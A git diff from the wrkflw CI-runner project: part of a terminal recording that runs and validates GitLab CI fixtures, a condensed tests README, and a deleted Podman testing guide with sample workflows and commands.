||||
[44.922289, "o", " "]
|
||||
[46.356703, "o", "-"]
|
||||
[46.687628, "o", "-"]
|
||||
[47.264144, "o", " "]
|
||||
[47.638826, "o", "r"]
|
||||
[47.824999, "o", "u"]
|
||||
[48.00395, "o", "n"]
|
||||
[48.099902, "o", " "]
|
||||
[50.32697, "o", "t"]
|
||||
[50.449608, "o", "e"]
|
||||
[50.661865, "o", "s"]
|
||||
[50.768766, "o", "t"]
|
||||
[51.489835, "o", "_"]
|
||||
[51.868906, "o", "g"]
|
||||
[51.965985, "o", "itlab_ci\u001b[1m/\u001b[0m"]
|
||||
[53.657521, "o", "\b\u001b[0m/m"]
|
||||
[53.813699, "o", "i"]
|
||||
[53.937831, "o", "nimal.gitlab-ci.yml\u001b[1m \u001b[0m"]
|
||||
[55.072612, "o", "\b\u001b[0m -"]
|
||||
[55.326911, "o", "e"]
|
||||
[56.520262, "o", "\u001b[?1l\u001b>"]
|
||||
[56.520344, "o", "\u001b[?2004l\r\r\n"]
|
||||
[56.521995, "o", "\u001b]2;cargo r -- run test_gitlab_ci/minimal.gitlab-ci.yml -e\u0007\u001b]1;cargo\u0007"]
|
||||
[56.760823, "o", "\u001b[1m\u001b[32m Finished\u001b[0m `dev` profile [unoptimized + debuginfo] target(s) in 0.19s\r\n"]
|
||||
[56.766792, "o", "\u001b[1m\u001b[32m Running\u001b[0m `target/debug/wrkflw run test_gitlab_ci/minimal.gitlab-ci.yml -e`\r\n"]
|
||||
[63.060648, "o", "✅ Workflow execution completed successfully!\r\n\r\nJob summary:\r\n ✅ build (success)\r\n Steps:\r\n ✅ Run script line 1\r\n ✅ test (success)\r\n Steps:\r\n ✅ Run script line 1\r\n ✅ build (success)\r\n Steps:\r\n ✅ Run script line 1\r\n ✅ test (success)\r\n Steps:\r\n ✅ Run script line 1\r\n"]
|
||||
[63.062528, "o", "\u001b[1m\u001b[7m%\u001b[27m\u001b[1m\u001b[0m \r \r"]
|
||||
[63.063152, "o", "\u001b]2;goku@Gokuls-MacBook-Pro:~/projects/wrkflw\u0007"]
|
||||
[63.063163, "o", "\u001b]1;..ojects/wrkflw\u0007"]
|
||||
[63.064999, "o", "\u001b]7;file://Gokuls-MacBook-Pro.local/Users/goku/projects/wrkflw\u001b\\"]
|
||||
[63.06677, "o", "\r\u001b[0m\u001b[27m\u001b[24m\u001b[J\u001b[01;32m➜ \u001b[36mwrkflw\u001b[00m \u001b[01;34m(\u001b[31mmain\u001b[34m) \u001b[33m✗\u001b[00m \u001b[K"]
|
||||
[63.066845, "o", "\u001b[?1h\u001b=\u001b[?2004h"]
|
||||
[66.121168, "o", "c"]
|
||||
[66.234389, "o", "\bca"]
|
||||
[66.398021, "o", "t"]
|
||||
[66.595798, "o", " "]
|
||||
[67.93179, "o", "t"]
|
||||
[68.057573, "o", "e"]
|
||||
[68.252993, "o", "s"]
|
||||
[68.380648, "o", "t"]
|
||||
[68.977726, "o", "_"]
|
||||
[69.395102, "o", "g"]
|
||||
[69.506881, "o", "itlab_ci\u001b[1m/\u001b[0m"]
|
||||
[72.095324, "o", "\b\u001b[0m/i"]
|
||||
[72.270688, "o", "n"]
|
||||
[72.41996, "o", "\u0007\r\r\n"]
|
||||
[72.420018, "o", "\u001b[J\u001b[0mincludes.gitlab-ci.yml \u001b[Jinvalid.gitlab-ci.yml \u001b[J\u001b[A\u001b[0m\u001b[27m\u001b[24m\r\u001b[19Ccat test_gitlab_ci/in\u001b[K"]
|
||||
[73.498026, "o", "v"]
|
||||
[73.636495, "o", "alid.gitlab-ci.yml\u001b[1m \u001b[0m"]
|
||||
[75.147715, "o", "\b\u001b[0m \b"]
|
||||
[75.148084, "o", "\u001b[?1l\u001b>\u001b[?2004l\r\r\n\u001b[J"]
|
||||
[75.149613, "o", "\u001b]2;cat test_gitlab_ci/invalid.gitlab-ci.yml\u0007\u001b]1;cat\u0007"]
|
||||
[75.175256, "o", "# Invalid GitLab CI file with common mistakes\r\n\r\n# Missing stages definition\r\n# stages:\r\n# - build\r\n# - test\r\n\r\nvariables:\r\n CARGO_HOME: ${CI_PROJECT_DIR}/.cargo # Missing quotes around value with variables\r\n\r\n# Invalid job definition (missing script)\r\nbuild:\r\n stage: build # Referring to undefined stage\r\n # Missing required script section\r\n artifacts:\r\n paths:\r\n - target/release/\r\n expire_in: 1 week\r\n\r\n# Invalid job with incorrect when value\r\ntest:\r\n stage: test\r\n script:\r\n - cargo test\r\n when: never # Invalid value for when (should be always, manual, or delayed)\r\n dependencies:\r\n - non_existent_job # Dependency on non-existent job\r\n\r\n# Improperly structured job with invalid keys\r\ndeploy:\r\n stagee: deploy # Typo in stage key\r\n scriptt: # Typo in script key\r\n - echo \"Deploying...\"\r\n only:\r\n - main\r\n environment:\r\n production # Incorrect format for environment\r\n retry: hello # Incorrect type for retry (should be integer or object)\r\n\r\n# Invalid rules section\r\nl"]
|
||||
[75.175425, "o", "int:\r\n stage: test\r\n script:\r\n - cargo clippy\r\n rules:\r\n - equals: $CI_COMMIT_BRANCH == \"main\" # Invalid rule (should be if, changes, exists, etc.)\r\n \r\n# Job with invalid cache configuration\r\ncache-test:\r\n stage: test\r\n script:\r\n - echo \"Testing cache\"\r\n cache:\r\n paths:\r\n - ${CARGO_HOME}\r\n key: [invalid, key, type] # Invalid type for key (should be string)\r\n policy: invalid-policy # Invalid policy value "]
|
||||
[75.175543, "o", "\u001b[1m\u001b[7m%\u001b[27m\u001b[1m\u001b[0m \r \r"]
|
||||
[75.176254, "o", "\u001b]2;goku@Gokuls-MacBook-Pro:~/projects/wrkflw\u0007"]
|
||||
[75.17627, "o", "\u001b]1;..ojects/wrkflw\u0007"]
|
||||
[75.179062, "o", "\u001b]7;file://Gokuls-MacBook-Pro.local/Users/goku/projects/wrkflw\u001b\\"]
|
||||
[75.181195, "o", "\r\u001b[0m\u001b[27m\u001b[24m\u001b[J\u001b[01;32m➜ \u001b[36mwrkflw\u001b[00m \u001b[01;34m(\u001b[31mmain\u001b[34m) \u001b[33m✗\u001b[00m \u001b[K"]
|
||||
[75.181307, "o", "\u001b[?1h\u001b="]
|
||||
[75.181372, "o", "\u001b[?2004h"]
|
||||
[78.644579, "o", "c"]
|
||||
[78.757216, "o", "\bca"]
|
||||
[79.422982, "o", "\b\bc \b"]
|
||||
[80.126467, "o", "\bcl"]
|
||||
[80.241618, "o", "e"]
|
||||
[80.499926, "o", "a"]
|
||||
[80.620047, "o", "r"]
|
||||
[80.768709, "o", "\u001b[?1l\u001b>"]
|
||||
[80.768793, "o", "\u001b[?2004l\r\r\n"]
|
||||
[80.770763, "o", "\u001b]2;clear\u0007\u001b]1;clear\u0007"]
|
||||
[80.796043, "o", "\u001b[3J\u001b[H\u001b[2J"]
|
||||
[80.796272, "o", "\u001b[1m\u001b[7m%\u001b[27m\u001b[1m\u001b[0m \r \r"]
|
||||
[80.797072, "o", "\u001b]2;goku@Gokuls-MacBook-Pro:~/projects/wrkflw\u0007\u001b]1;..ojects/wrkflw\u0007"]
|
||||
[80.799811, "o", "\u001b]7;file://Gokuls-MacBook-Pro.local/Users/goku/projects/wrkflw\u001b\\"]
|
||||
[80.802093, "o", "\r\u001b[0m\u001b[27m\u001b[24m\u001b[J\u001b[01;32m➜ \u001b[36mwrkflw\u001b[00m \u001b[01;34m(\u001b[31mmain\u001b[34m) \u001b[33m✗\u001b[00m \u001b[K"]
|
||||
[80.802198, "o", "\u001b[?1h\u001b="]
|
||||
[80.802212, "o", "\u001b[?2004h"]
|
||||
[81.165962, "o", "c"]
|
||||
[81.237876, "o", "\bca"]
|
||||
[81.541593, "o", "r"]
|
||||
[81.632992, "o", "g"]
|
||||
[81.702718, "o", "o"]
|
||||
[81.811783, "o", " "]
|
||||
[82.041789, "o", "r"]
|
||||
[82.171861, "o", " "]
|
||||
[83.210945, "o", "-"]
|
||||
[83.370683, "o", "-"]
|
||||
[83.531883, "o", " "]
|
||||
[84.72197, "o", "v"]
|
||||
[85.400474, "o", "\b \b"]
|
||||
[85.531347, "o", "\b"]
|
||||
[85.666295, "o", "\b \b"]
|
||||
[85.92588, "o", "\b \b"]
|
||||
[86.620454, "o", "v"]
|
||||
[86.804257, "o", "a"]
|
||||
[86.911944, "o", "l"]
|
||||
[87.132942, "o", "i"]
|
||||
[87.276373, "o", "d"]
|
||||
[87.352783, "o", "a"]
|
||||
[87.544066, "o", "t"]
|
||||
[87.657321, "o", "e"]
|
||||
[87.785925, "o", " "]
|
||||
[88.963881, "o", "t"]
|
||||
[89.074873, "o", "e"]
|
||||
[89.258553, "o", "s"]
|
||||
[89.357494, "o", "t"]
|
||||
[89.816142, "o", "\u0007"]
|
||||
[89.816398, "o", "\r\r\n"]
|
||||
[89.816612, "o", "\u001b[J\u001b[1;36mtest_gitlab_ci\u001b[0m/ \u001b[J\u001b[1;36mtest-workflows\u001b[0m/ \u001b[J\u001b[1;36mtests\u001b[0m/ \u001b[J\u001b[A\u001b[0m\u001b[27m\u001b[24m\r\u001b[19Ccargo r validate test\u001b[K"]
|
||||
[90.569999, "o", "_"]
|
||||
[90.950079, "o", "g"]
|
||||
[91.040342, "o", "itlab_ci\u001b[1m/\u001b[0m"]
|
||||
[92.906492, "o", "\b\u001b[0m/m"]
|
||||
[93.078283, "o", "i"]
|
||||
[93.194416, "o", "nimal.gitlab-ci.yml\u001b[1m \u001b[0m"]
|
||||
[94.398323, "o", "\b\u001b[0m \b"]
|
||||
[94.899238, "o", "\b \b"]
|
||||
[94.982652, "o", "\b \b"]
|
||||
[95.065722, "o", "\b \b"]
|
||||
[95.149466, "o", "\b \b"]
|
||||
[95.233618, "o", "\b \b"]
|
||||
[95.317716, "o", "\b \b"]
|
||||
[95.4019, "o", "\b \b"]
|
||||
[95.485971, "o", "\b \b"]
|
||||
[95.569449, "o", "\b \b"]
|
||||
[95.653691, "o", "\b \b"]
|
||||
[95.736766, "o", "\b \b"]
|
||||
[95.82133, "o", "\b \b"]
|
||||
[95.905257, "o", "\b \b"]
|
||||
[95.988404, "o", "\b \b"]
|
||||
[96.072177, "o", "\b \b"]
|
||||
[96.156204, "o", "\b \b"]
|
||||
[96.240362, "o", "\b \b"]
|
||||
[96.324551, "o", "\b \b"]
|
||||
[96.513245, "o", "\b \b"]
|
||||
[96.673025, "o", "\b \b"]
|
||||
[96.851629, "o", "\b \b"]
|
||||
[97.496169, "o", "i"]
|
||||
[97.698031, "o", "n"]
|
||||
[97.987174, "o", "v"]
|
||||
[98.138347, "o", "alid.gitlab-ci.yml\u001b[1m \u001b[0m"]
|
||||
[98.957859, "o", "\b\u001b[0m \b"]
|
||||
[98.958383, "o", "\u001b[?1l\u001b>\u001b[?2004l\r\r\n\u001b[J"]
|
||||
[98.960319, "o", "\u001b]2;cargo r validate test_gitlab_ci/invalid.gitlab-ci.yml\u0007\u001b]1;cargo\u0007"]
|
||||
[99.107154, "o", "\u001b[1m\u001b[32m Finished\u001b[0m `dev` profile [unoptimized + debuginfo] target(s) in 0.09s\r\n"]
|
||||
[99.114895, "o", "\u001b[1m\u001b[32m Running\u001b[0m `target/debug/wrkflw validate test_gitlab_ci/invalid.gitlab-ci.yml`\r\n"]
|
||||
[99.636477, "o", "Validating GitLab CI pipeline file: test_gitlab_ci/invalid.gitlab-ci.yml... ❌ Invalid\r\nValidation failed: Schema validation error: GitLab CI validation failed:\r\n- {\"key\":[\"invalid\",\"key\",\"type\"],\"paths\":[\"${CARGO_HOME}\"],\"policy\":\"invalid-policy\"} is not valid under any of the schemas listed in the 'oneOf' keyword\r\n- \"hello\" is not valid under any of the schemas listed in the 'oneOf' keyword\r\n- Additional properties are not allowed ('scriptt', 'stagee' were unexpected)\r\n- {\"equals\":\"$CI_COMMIT_BRANCH == \\\"main\\\"\"} is not valid under any of the schemas listed in the 'anyOf' keyword\r\n\r\n"]
|
||||
[99.637323, "o", "\u001b[1m\u001b[7m%\u001b[27m\u001b[1m\u001b[0m \r \r"]
|
||||
[99.638217, "o", "\u001b]2;goku@Gokuls-MacBook-Pro:~/projects/wrkflw\u0007"]
|
||||
[99.638226, "o", "\u001b]1;..ojects/wrkflw\u0007"]
|
||||
[99.639979, "o", "\u001b]7;file://Gokuls-MacBook-Pro.local/Users/goku/projects/wrkflw\u001b\\"]
|
||||
[99.642108, "o", "\r\u001b[0m\u001b[27m\u001b[24m\u001b[J\u001b[01;32m➜ \u001b[36mwrkflw\u001b[00m \u001b[01;34m(\u001b[31mmain\u001b[34m) \u001b[33m✗\u001b[00m \u001b[K"]
|
||||
[99.642189, "o", "\u001b[?1h\u001b="]
|
||||
[99.642244, "o", "\u001b[?2004h"]
|
||||
[101.389433, "o", "c"]
|
||||
[101.489821, "o", "\bca"]
|
||||
[101.781592, "o", "r"]
|
||||
[101.870935, "o", "g"]
|
||||
[101.913828, "o", "o"]
|
||||
[102.021608, "o", " "]
|
||||
[102.173967, "o", "r"]
|
||||
[102.282804, "o", " "]
|
||||
[103.113368, "o", "-"]
|
||||
[103.251079, "o", "-"]
|
||||
[103.3802, "o", " "]
|
||||
[103.637955, "o", "r"]
|
||||
[103.756731, "o", "u"]
|
||||
[104.035863, "o", " "]
|
||||
[104.396646, "o", "\b"]
|
||||
[104.88292, "o", "n"]
|
||||
[104.97564, "o", " "]
|
||||
[106.361505, "o", "t"]
|
||||
[106.453323, "o", "e"]
|
||||
[106.66181, "o", "s"]
|
||||
[106.761957, "o", "t"]
|
||||
[107.423959, "o", "_"]
|
||||
[107.591679, "o", "gitlab_ci\u001b[1m/\u001b[0m"]
|
||||
[109.594052, "o", "\b\u001b[0m/i"]
|
||||
[109.78732, "o", "n"]
|
||||
[110.089516, "o", "v"]
|
||||
[110.259654, "o", "alid.gitlab-ci.yml\u001b[1m \u001b[0m"]
|
||||
[112.918071, "o", "\b\u001b[0m -"]
|
||||
[113.487665, "o", "e"]
|
||||
[114.05841, "o", "\u001b[?1l\u001b>"]
|
||||
[114.05869, "o", "\u001b[?2004l\r\r\n"]
|
||||
[114.060284, "o", "\u001b]2;cargo r -- run test_gitlab_ci/invalid.gitlab-ci.yml -e\u0007\u001b]1;cargo\u0007"]
|
||||
[114.193654, "o", "\u001b[1m\u001b[32m Finished\u001b[0m `dev` profile [unoptimized + debuginfo] target(s) in 0.09s\r\n"]
|
||||
[114.200619, "o", "\u001b[1m\u001b[32m Running\u001b[0m `target/debug/wrkflw run test_gitlab_ci/invalid.gitlab-ci.yml -e`\r\n"]
|
||||
[114.727902, "o", "Error executing workflow: Parse error: Failed to parse GitLab pipeline: Schema validation error: GitLab CI validation failed:\r\n- {\"key\":[\"invalid\",\"key\",\"type\"],\"paths\":[\"${CARGO_HOME}\"],\"policy\":\"invalid-policy\"} is not valid under any of the schemas listed in the 'oneOf' keyword\r\n- \"hello\" is not valid under any of the schemas listed in the 'oneOf' keyword\r\n- Additional properties are not allowed ('scriptt', 'stagee' were unexpected)\r\n- {\"equals\":\"$CI_COMMIT_BRANCH == \\\"main\\\"\"} is not valid under any of the schemas listed in the 'anyOf' keyword\r\n\r\n"]
|
||||
[114.728458, "o", "\u001b[1m\u001b[7m%\u001b[27m\u001b[1m\u001b[0m \r \r"]
|
||||
[114.72932, "o", "\u001b]2;goku@Gokuls-MacBook-Pro:~/projects/wrkflw\u0007"]
|
||||
[114.729328, "o", "\u001b]1;..ojects/wrkflw\u0007"]
|
||||
[114.731093, "o", "\u001b]7;file://Gokuls-MacBook-Pro.local/Users/goku/projects/wrkflw\u001b\\"]
|
||||
[114.732938, "o", "\r\u001b[0m\u001b[27m\u001b[24m\u001b[J\u001b[01;31m➜ \u001b[36mwrkflw\u001b[00m \u001b[01;34m(\u001b[31mmain\u001b[34m) \u001b[33m✗\u001b[00m \u001b[K"]
|
||||
[114.73302, "o", "\u001b[?1h\u001b="]
|
||||
[114.733045, "o", "\u001b[?2004h"]
|
||||
[118.210217, "o", "\u001b[?2004l\r\r\n"]
|
||||
@@ -1,61 +1,37 @@
|
||||
# Testing Strategy
|
||||
# Testing
|
||||
|
||||
This directory contains all tests and test-related files for the `wrkflw` project. We follow the Rust testing best practices by organizing tests as follows:
|
||||
This directory contains integration and end-to-end tests for wrkflw.
|
||||
|
||||
## Test Organization
|
||||
|
||||
- **Unit Tests**: Located alongside the source files in `src/` using `#[cfg(test)]` modules
|
||||
- **Integration Tests**: Located directly in this `tests/` directory
|
||||
- `matrix_test.rs` - Tests for matrix expansion functionality
|
||||
- `reusable_workflow_test.rs` - Tests for reusable workflow validation
|
||||
- **End-to-End Tests**: Also located in this `tests/` directory
|
||||
- `cleanup_test.rs` - Tests for cleanup functionality with Docker resources
|
||||
- **Unit tests**: alongside source files in `src/` using `#[cfg(test)]` modules
|
||||
- **Integration tests**: in this `tests/` directory
|
||||
- `matrix_test.rs` — matrix expansion
|
||||
- `reusable_workflow_test.rs` — reusable workflow validation
|
||||
- **End-to-end tests**: also in this directory
|
||||
- `cleanup_test.rs` — cleanup with Docker resources
|
||||
|
||||
## Test Directory Structure
|
||||
## Directory Structure
|
||||
|
||||
- **`fixtures/`**: Test data and configuration files
|
||||
- `gitlab-ci/` - GitLab CI configuration files for testing
|
||||
- **`workflows/`**: GitHub Actions workflow files for testing
|
||||
- Various YAML files for testing workflow validation and execution
|
||||
- **`scripts/`**: Test automation scripts
|
||||
- `test-podman-basic.sh` - Basic Podman integration test script
|
||||
- `test-preserve-containers.sh` - Container preservation testing script
|
||||
- **`TESTING_PODMAN.md`**: Comprehensive Podman testing documentation
|
||||
- **`fixtures/`** — test data (e.g., `gitlab-ci/` configs)
|
||||
- **`workflows/`** — GitHub Actions workflow YAML files for testing
|
||||
- **`scripts/`** — test automation scripts (`test-podman-basic.sh`, `test-preserve-containers.sh`)
|
||||
|
||||
## Running Tests
|
||||
|
||||
To run all tests:
|
||||
```bash
|
||||
# All tests
|
||||
cargo test
|
||||
```
|
||||
|
||||
To run only unit tests:
|
||||
```bash
|
||||
# Unit tests only
|
||||
cargo test --lib
|
||||
```
|
||||
|
||||
To run only integration tests:
|
||||
```bash
|
||||
# Integration tests only
|
||||
cargo test --test matrix_test --test reusable_workflow_test
|
||||
```
|
||||
|
||||
To run only end-to-end tests:
|
||||
```bash
|
||||
# End-to-end tests only
|
||||
cargo test --test cleanup_test
|
||||
```
|
||||
|
||||
To run a specific test:
|
||||
```bash
|
||||
# A specific test
|
||||
cargo test test_name
|
||||
```
|
||||
|
||||
## Writing Tests
|
||||
|
||||
Please follow these guidelines when writing tests:
|
||||
|
||||
1. Use meaningful test names that describe what is being tested
|
||||
2. Group related tests together in modules
|
||||
3. Use helper functions to reduce duplication
|
||||
4. Test both success and failure cases
|
||||
5. Use `#[should_panic]` for tests that expect a panic
|
||||
6. Avoid test interdependencies
|
||||
@@ -1,487 +0,0 @@
|
||||
# Testing Podman Support in WRKFLW
|
||||
|
||||
This document provides comprehensive testing steps to verify that Podman support is working correctly in wrkflw.
|
||||
|
||||
## Prerequisites
|
||||
|
||||
### 1. Install Podman
|
||||
|
||||
Choose the installation method for your operating system:
|
||||
|
||||
#### macOS (using Homebrew)
|
||||
```bash
|
||||
brew install podman
|
||||
```
|
||||
|
||||
#### Ubuntu/Debian
|
||||
```bash
|
||||
sudo apt-get update
|
||||
sudo apt-get install podman
|
||||
```
|
||||
|
||||
#### RHEL/CentOS/Fedora
|
||||
```bash
|
||||
# Fedora
|
||||
sudo dnf install podman
|
||||
|
||||
# RHEL/CentOS 8+
|
||||
sudo dnf install podman
|
||||
```
|
||||
|
||||
#### Windows
|
||||
```bash
|
||||
# Using Chocolatey
|
||||
choco install podman-desktop
|
||||
|
||||
# Or download from https://podman.io/getting-started/installation
|
||||
```
|
||||
|
||||
### 2. Initialize Podman (macOS/Windows only)
|
||||
```bash
|
||||
podman machine init
|
||||
podman machine start
|
||||
```
|
||||
|
||||
### 3. Verify Podman Installation
|
||||
```bash
|
||||
podman version
|
||||
podman info
|
||||
```
|
||||
|
||||
Expected output should show Podman version and system information without errors.
|
||||
|
||||
### 4. Build WRKFLW with Podman Support
|
||||
```bash
|
||||
cd /path/to/wrkflw
|
||||
cargo build --release
|
||||
```
|
||||
|
||||
## Test Plan
|
||||
|
||||
### Test 1: CLI Runtime Selection
|
||||
|
||||
#### 1.1 Test Default Runtime (Docker)
|
||||
```bash
|
||||
# Should default to Docker
|
||||
./target/release/wrkflw run --help | grep -A 5 "runtime"
|
||||
```
|
||||
Expected: Should show `--runtime` option with default value `docker`.
|
||||
|
||||
#### 1.2 Test Podman Runtime Selection
|
||||
```bash
|
||||
# Should accept podman as runtime
|
||||
./target/release/wrkflw run --runtime podman tests/workflows/example.yml
|
||||
```
|
||||
Expected: Should run without CLI argument errors.
|
||||
|
||||
#### 1.3 Test Emulation Runtime Selection
|
||||
```bash
|
||||
# Should accept emulation as runtime
|
||||
./target/release/wrkflw run --runtime emulation tests/workflows/example.yml
|
||||
```
|
||||
Expected: Should run without CLI argument errors.
|
||||
|
||||
#### 1.4 Test Invalid Runtime Selection
|
||||
```bash
|
||||
# Should reject invalid runtime
|
||||
./target/release/wrkflw run --runtime invalid tests/workflows/example.yml
|
||||
```
|
||||
Expected: Should show error about invalid runtime choice.
|
||||
|
||||
### Test 2: Podman Availability Detection
|
||||
|
||||
#### 2.1 Test with Podman Available
|
||||
```bash
|
||||
# Ensure Podman is running
|
||||
podman info > /dev/null && echo "Podman is available"
|
||||
|
||||
# Test wrkflw detection
|
||||
./target/release/wrkflw run --runtime podman --verbose test-workflows/example.yml
|
||||
```
|
||||
Expected: Should show "Podman is available, using Podman runtime" in logs.
|
||||
|
||||
#### 2.2 Test with Podman Unavailable
|
||||
```bash
|
||||
# Temporarily make podman unavailable
|
||||
sudo mv /usr/local/bin/podman /usr/local/bin/podman.bak 2>/dev/null || echo "Podman not in /usr/local/bin"
|
||||
|
||||
# Test fallback to emulation
|
||||
./target/release/wrkflw run --runtime podman --verbose test-workflows/example.yml
|
||||
|
||||
# Restore podman
|
||||
sudo mv /usr/local/bin/podman.bak /usr/local/bin/podman 2>/dev/null || echo "Nothing to restore"
|
||||
```
|
||||
Expected: Should show "Podman is not available. Using emulation mode instead."
|
||||
|
||||
### Test 3: Container Execution with Podman
|
||||
|
||||
#### 3.1 Create a Simple Test Workflow
|
||||
Create `test-podman-workflow.yml`:
|
||||
|
||||
```yaml
|
||||
name: Test Podman Workflow
|
||||
on: [workflow_dispatch]
|
||||
|
||||
jobs:
|
||||
test-podman:
|
||||
runs-on: ubuntu-latest
|
||||
container: ubuntu:20.04
|
||||
steps:
|
||||
- name: Test basic commands
|
||||
run: |
|
||||
echo "Testing Podman container execution"
|
||||
whoami
|
||||
pwd
|
||||
ls -la
|
||||
echo "Container test completed successfully"
|
||||
|
||||
- name: Test environment variables
|
||||
env:
|
||||
TEST_VAR: "podman-test"
|
||||
run: |
|
||||
echo "Testing environment variables"
|
||||
echo "TEST_VAR: $TEST_VAR"
|
||||
echo "GITHUB_WORKSPACE: $GITHUB_WORKSPACE"
|
||||
echo "RUNNER_OS: $RUNNER_OS"
|
||||
|
||||
- name: Test volume mounting
|
||||
run: |
|
||||
echo "Testing volume mounting"
|
||||
echo "test-file-content" > test-file.txt
|
||||
cat test-file.txt
|
||||
ls -la test-file.txt
|
||||
```
|
||||
|
||||
#### 3.2 Test Podman Container Execution
|
||||
```bash
|
||||
./target/release/wrkflw run --runtime podman --verbose test-podman-workflow.yml
|
||||
```
|
||||
Expected: Should execute all steps successfully using Podman containers.
|
||||
|
||||
#### 3.3 Compare with Docker Execution
|
||||
```bash
|
||||
# Test same workflow with Docker
|
||||
./target/release/wrkflw run --runtime docker --verbose test-podman-workflow.yml
|
||||
|
||||
# Test same workflow with emulation
|
||||
./target/release/wrkflw run --runtime emulation --verbose test-podman-workflow.yml
|
||||
```
|
||||
Expected: All three runtimes should produce similar results (emulation may have limitations).
|
||||
|
||||
### Test 4: TUI Interface Testing
|
||||
|
||||
#### 4.1 Test TUI Runtime Selection
|
||||
```bash
|
||||
./target/release/wrkflw tui tests/workflows/
|
||||
```
|
||||
|
||||
**Test Steps:**
|
||||
1. Launch TUI
|
||||
2. Press `e` key to cycle through runtimes
|
||||
3. Verify status bar shows: Docker → Podman → Emulation → Docker
|
||||
4. Check that Podman status shows "Connected" or "Not Available"
|
||||
5. Select a workflow and run it with Podman runtime
|
||||
|
||||
#### 4.2 Test TUI with Specific Runtime
|
||||
```bash
|
||||
# Start TUI with Podman runtime
|
||||
./target/release/wrkflw tui --runtime podman test-workflows/
|
||||
|
||||
# Start TUI with emulation runtime
|
||||
./target/release/wrkflw tui --runtime emulation test-workflows/
|
||||
```
|
||||
Expected: TUI should start with the specified runtime active.
|
||||
|
||||
### Test 5: Container Preservation Testing
|
||||
|
||||
✅ **Note**: Container preservation is fully supported with Podman and works correctly.
|
||||
|
||||
#### 5.1 Test Container Cleanup (Default)
|
||||
```bash
|
||||
# Run a workflow that will fail
|
||||
echo 'name: Failing Test
|
||||
on: [workflow_dispatch]
|
||||
jobs:
|
||||
fail:
|
||||
runs-on: ubuntu-latest
|
||||
container: ubuntu:20.04
|
||||
steps:
|
||||
- run: exit 1' > test-fail-workflow.yml
|
||||
|
||||
./target/release/wrkflw run --runtime podman test-fail-workflow.yml
|
||||
|
||||
# Check if containers were cleaned up
|
||||
podman ps -a --filter "name=wrkflw-"
|
||||
```
|
||||
Expected: No wrkflw containers should remain.
|
||||
|
||||
#### 5.2 Test Container Preservation on Failure
|
||||
```bash
|
||||
./target/release/wrkflw run --runtime podman --preserve-containers-on-failure test-fail-workflow.yml
|
||||
|
||||
# Check if failed container was preserved
|
||||
podman ps -a --filter "name=wrkflw-"
|
||||
```
|
||||
Expected: Should show preserved container. Note the container ID for inspection.
|
||||
|
||||
#### 5.3 Test Container Inspection
|
||||
```bash
|
||||
# Get container ID from previous step
|
||||
CONTAINER_ID=$(podman ps -a --filter "name=wrkflw-" --format "{{.ID}}" | head -1)
|
||||
|
||||
# Inspect the preserved container
|
||||
podman exec -it $CONTAINER_ID bash
|
||||
# Inside container: explore the environment, check files, etc.
|
||||
# Exit with: exit
|
||||
|
||||
# Clean up manually
|
||||
podman rm $CONTAINER_ID
|
||||
```
|
||||
|
||||
### Test 6: Image Operations Testing
|
||||
|
||||
#### 6.1 Test Image Pulling
|
||||
```bash
|
||||
# Create workflow that uses a specific image
|
||||
echo 'name: Image Pull Test
|
||||
on: [workflow_dispatch]
|
||||
jobs:
|
||||
test:
|
||||
runs-on: ubuntu-latest
|
||||
container: node:18-alpine
|
||||
steps:
|
||||
- run: node --version' > test-image-pull.yml
|
||||
|
||||
./target/release/wrkflw run --runtime podman --verbose test-image-pull.yml
|
||||
```
|
||||
Expected: Should pull node:18-alpine image and execute successfully.
|
||||
|
||||
#### 6.2 Test Custom Image Building
|
||||
```bash
|
||||
# Create a workflow that builds a custom image (if supported)
|
||||
# This tests the build_image functionality
|
||||
mkdir -p test-build
|
||||
echo 'FROM ubuntu:20.04
|
||||
RUN apt-get update && apt-get install -y curl
|
||||
CMD ["echo", "Custom image test"]' > test-build/Dockerfile
|
||||
|
||||
echo 'name: Image Build Test
|
||||
on: [workflow_dispatch]
|
||||
jobs:
|
||||
test:
|
||||
runs-on: ubuntu-latest
|
||||
steps:
|
||||
- name: Build and test custom image
|
||||
run: |
|
||||
echo "Testing custom image scenarios"
|
||||
curl --version' > test-custom-image.yml
|
||||
|
||||
# Note: This test depends on language environment preparation
|
||||
./target/release/wrkflw run --runtime podman --verbose test-custom-image.yml
|
||||
```
|
||||
|
||||
### Test 7: Error Handling and Edge Cases
|
||||
|
||||
#### 7.1 Test Invalid Container Image
|
||||
```bash
|
||||
echo 'name: Invalid Image Test
|
||||
on: [workflow_dispatch]
|
||||
jobs:
|
||||
test:
|
||||
runs-on: ubuntu-latest
|
||||
container: nonexistent-image:invalid-tag
|
||||
steps:
|
||||
- run: echo "This should fail"' > test-invalid-image.yml
|
||||
|
||||
./target/release/wrkflw run --runtime podman test-invalid-image.yml
|
||||
```
|
||||
Expected: Should handle image pull failure gracefully with clear error message.
|
||||
|
||||
#### 7.2 Test Network Connectivity
|
||||
```bash
|
||||
echo 'name: Network Test
|
||||
on: [workflow_dispatch]
|
||||
jobs:
|
||||
test:
|
||||
runs-on: ubuntu-latest
|
||||
container: ubuntu:20.04
|
||||
steps:
|
||||
- name: Test network access
|
||||
run: |
|
||||
apt-get update
|
||||
apt-get install -y curl
|
||||
curl -s https://httpbin.org/get
|
||||
- name: Test DNS resolution
|
||||
run: nslookup google.com' > test-network.yml
|
||||
|
||||
./target/release/wrkflw run --runtime podman --verbose test-network.yml
|
||||
```
|
||||
Expected: Should have network access and complete successfully.
|
||||
|
||||
#### 7.3 Test Resource Intensive Workflow
|
||||
```bash
|
||||
echo 'name: Resource Test
|
||||
on: [workflow_dispatch]
|
||||
jobs:
|
||||
test:
|
||||
runs-on: ubuntu-latest
|
||||
container: ubuntu:20.04
|
||||
steps:
|
||||
- name: Memory test
|
||||
run: |
|
||||
echo "Testing memory usage"
|
||||
free -h
|
||||
dd if=/dev/zero of=/tmp/test bs=1M count=100
|
||||
ls -lh /tmp/test
|
||||
rm /tmp/test
|
||||
- name: CPU test
|
||||
run: |
|
||||
echo "Testing CPU usage"
|
||||
yes > /dev/null &
|
||||
PID=$!
|
||||
sleep 2
|
||||
kill $PID
|
||||
echo "CPU test completed"' > test-resources.yml
|
||||
|
||||
./target/release/wrkflw run --runtime podman --verbose test-resources.yml
|
||||
```
|
||||
|
||||
### Test 8: Comparison Testing
|
||||
|
||||
#### 8.1 Create Comprehensive Test Workflow
|
||||
```bash
|
||||
echo 'name: Comprehensive Runtime Comparison
|
||||
on: [workflow_dispatch]
|
||||
|
||||
env:
|
||||
GLOBAL_VAR: "global-value"
|
||||
|
